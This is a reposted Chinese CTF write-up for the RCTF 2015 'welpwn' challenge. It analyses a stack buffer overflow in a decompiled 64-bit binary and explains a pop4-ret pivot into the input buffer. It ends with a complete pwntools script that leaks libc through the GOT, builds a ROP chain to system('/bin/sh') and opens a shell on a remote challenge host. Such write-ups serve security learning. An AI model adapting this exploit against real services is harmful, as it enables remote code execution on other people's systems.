RCTF-2015——welpwn


64位程序

程序邏輯

 1 int __cdecl main(int argc, const char **argv, const char **envp)
 2 {
 3   char buf; // [rsp+0h] [rbp-400h]
 4 
 5   write(1, "Welcome to RCTF\n", 0x10uLL);
 6   fflush(_bss_start);
 7   read(0, &buf, 0x400uLL);
 8   echo((__int64)&buf);
 9   return 0;
10 }
11 
12 int __fastcall echo(__int64 a1)
13 {
14   char s2[16]; // [rsp+10h] [rbp-10h]
15 
16   for ( i = 0; *(_BYTE *)(i + a1); ++i )
17     s2[i] = *(_BYTE *)(i + a1);
18   s2[i] = 0;
19   if ( !strcmp("ROIS", s2) )
20   {
21     printf("RCTF{Welcome}", s2);
22     puts(" is not flag");
23   }
24   return printf("%s", s2);
25 }

read最多0x400字節,echo會將這些字節拷貝到s2數組中,超過0x18字節即會覆蓋返回地址。

利用思路


由於echo拷貝時,會被\x00截斷,所以不能連續覆蓋多個地址來rop,

在echo函數ret處下斷點,調試可以發現echo返回地址下方即為read時的buf處

所以可以覆蓋返回地址為pop pop pop pop ret指令地址,返回時彈出0x18個填充字節和返回地址,返回到buf+0x20處

在buf+0x20處構造rop,先泄露libc基地址,返回到start

重新執行,輸入使之執行system('/bin/sh')

下次遇到棧溢出題目一定要多調試,注意棧的結構。

exploit

 

 1 from pwn import *
 2 #sh=process('./welpwn')
 3 sh=remote('111.198.29.45',47606)
 4 elf=ELF('./welpwn')
 5 #libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
 6 libc=ELF('./libc64-2.19.so')
 7 poprdi_ret=0x4008a3
 8 pop4_ret=0x40089c
 9 puts_plt=elf.plt['puts']
10 write_got=elf.got['write']
11 start=0x400630
12 sh.recvuntil('Welcome to RCTF\n')
13 payload='a'*0x10+'b'*8+p64(pop4_ret)
14 payload+=p64(poprdi_ret)+p64(write_got)+p64(puts_plt)+p64(start)
15 sh.send(payload)
16 sh.recvuntil('a'*0x10+'b'*8)
17 sh.recv(3)
18 write_adr=u64(sh.recv(6).ljust(8,'\x00'))
19 print 'write_adr: '+hex(write_adr)
20 #libc_base=write_adr-libc.symbols['write']
21 libc_base=write_adr-0x0f72b0
22 print 'libc_base: '+hex(libc_base)
23 system_adr=libc_base+0x045390
24 binsh_adr=libc_base+0x18cd57
25 '''
26 system_adr=libc_base+libc.symbols['system']
27 binsh_adr=libc_base+libc.search('/bin/sh\x00').next()
28 sh.recvuntil('Welcome to RCTF\n')
29 '''
30 payload='a'*0x10+'b'*8+p64(pop4_ret)
31 payload+=p64(poprdi_ret)+p64(binsh_adr)+p64(system_adr)
32 sh.send(payload)
33 sh.interactive()

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM